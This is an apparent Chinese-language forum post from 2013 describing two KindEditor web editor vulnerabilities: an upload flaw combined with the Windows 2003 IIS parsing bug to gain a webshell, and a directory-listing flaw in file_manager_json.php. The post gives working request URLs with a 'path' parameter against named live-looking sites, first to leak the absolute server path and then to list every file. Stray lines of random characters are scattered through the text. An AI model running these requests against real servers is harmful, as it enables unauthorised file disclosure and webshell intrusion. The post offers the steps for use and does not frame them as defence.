KindEditor上传解析漏洞和列目录漏洞

admin · 发表于 2013-1-23 09:16:19

KindEditor上传解析漏洞影响版本：= kindeditor 3.2.1(09年8月份发布的最新版) 漏洞利用：利用windows 2003 IIS解析漏洞拿WEBSHELL KindEditor列目录漏洞测试版本：KindEditor 3.4.2 KindEditor 3.5.5 1.http://www.political-security.com/67cms/kindeditor/php/file_man
  V! n; B6 r1 @' W, m! g9 V1 A9 f# G% z8 ?. @

KindEditor上传解析漏洞
影响版本：<= kindeditor 3.2.1(09年8月份发布的最新版)
漏洞利用：利用windows 2003 IIS解析漏洞拿WEBSHELL

; L  B$ e+ k- ^! K# N/ J" \
" J8 N$ d0 D- ?0 d' @; _5 W
KindEditor列目录漏洞
测试版本：KindEditor 3.4.2 KindEditor 3.5.5
http://www.political-security.com/67cms/kindeditor/php/file_manager_json.php?path=/
//path=/，爆出绝对路径D:AppServwww67cmskindeditorphpfile_manager_json.php
2.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/
//根据爆出的绝对路径，修改path的值为AppServ/www/67cms/
这时将遍历d:/AppServ/www/67cms/下的所有文件和文件名; c& v  O8 U, a( O$ U6 S8 _- N

* u/ i( J# s3 n) L/ U1 ]$ _1 l

# l- a+ b9 r$ o0 ^# B' y
7 D6 z+ i% T2 c& T+ G3 u8 o6 [8 d8 B' w

		自动登录	找回密码
密码			立即注册